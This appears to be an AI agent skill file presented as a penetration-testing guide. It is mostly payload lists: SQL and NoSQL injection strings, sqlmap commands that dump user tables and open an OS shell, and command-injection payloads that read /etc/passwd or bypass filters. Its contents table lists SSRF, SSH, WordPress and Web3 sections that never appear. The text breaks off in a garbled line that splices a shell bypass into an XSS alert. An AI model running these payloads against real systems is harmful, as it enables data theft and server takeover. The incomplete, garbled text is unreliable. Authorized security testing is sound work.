---
name: pentesting
description: |
Penetration testing skill combining SQL injection, command injection, SSRF, HTML injection,
SSH, and WordPress penetration testing. Use when performing security assessments.
---
# Penetration Testing
Comprehensive pentesting skill combining: SQL injection, command injection, SSRF, HTML injection, SSH, and specialized platform testing.
---
## Quick Reference
| Vulnerability | Use Section |
|--------------|-------------|
| SQL Injection | **SQL Injection** |
| Database enumeration | **SQLMap** |
| Command injection | **Command Injection** |
| SSRF | **SSRF Testing** |
| HTML injection | **HTML Injection** |
| SSH testing | **SSH Pentesting** |
| WordPress | **WordPress Testing** |
| Web3 | **Web3 Testing** |
---
## SQL Injection
### Types
1. **In-Band** - Data returned via same channel
2. **Blind** - No data returned, infer from behavior
3. **Time-Based** - Use delays to infer data
4. **Out-of-Band** - Data via alternative channel
### Testing Checklist
```bash
# Basic tests
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' #
' OR '1'='1'/*
admin' --
admin' #
admin'/*
' OR 1=1--
' OR 1=1#
' OR 1=1/*
```
### NoSQL Injection
```javascript
// MongoDB
{"$ne": null}
{"$gt": ""}
{"$regex": ".*"}
{"$where": "function() { return true; }"}
```
### SQLMap
```bash
# Basic scan
sqlmap -u "http://target.com/?id=1"
# POST request
sqlmap -u "http://target.com/login" --data="username=admin&password=test"
# Cookie injection
sqlmap -u "http://target.com/" --cookie="PHPSESSID=abc123"
# Enumerate databases
sqlmap -u "http://target.com/?id=1" --dbs
# Enumerate tables
sqlmap -u "http://target.com/?id=1" -D database_name --tables
# Dump data
sqlmap -u "http://target.com/?id=1" -D database_name -T users --dump
# Shell access
sqlmap -u "http://target.com/?id=1" --os-shell
```
### SQLMap Options
| Option | Description |
|--------|-------------|
| `--dbs` | List databases |
| `-D` | Specify database |
| `--tables` | List tables |
| `-T` | Specify table |
| `--dump` | Extract data |
| `--os-shell` | OS shell access |
| `--batch` | Non-interactive |
| `--risk=3` | High risk tests |
---
## Command Injection
### Testing Checklist
```bash
# Common payloads
; ls
| ls
& ls
&& ls
|| ls
`ls`
$(ls)
| cat /etc/passwd
; cat /etc/passwd
`cat /etc/passwd`
$(cat /etc/passwd)
# Blind command injection
& sleep 5 &
| sleep 5 &
; sleep 5 &
```
### Filter Bypass
```bash
# Space bypass
cat${IFS}/etc/passwd
catalert(1)
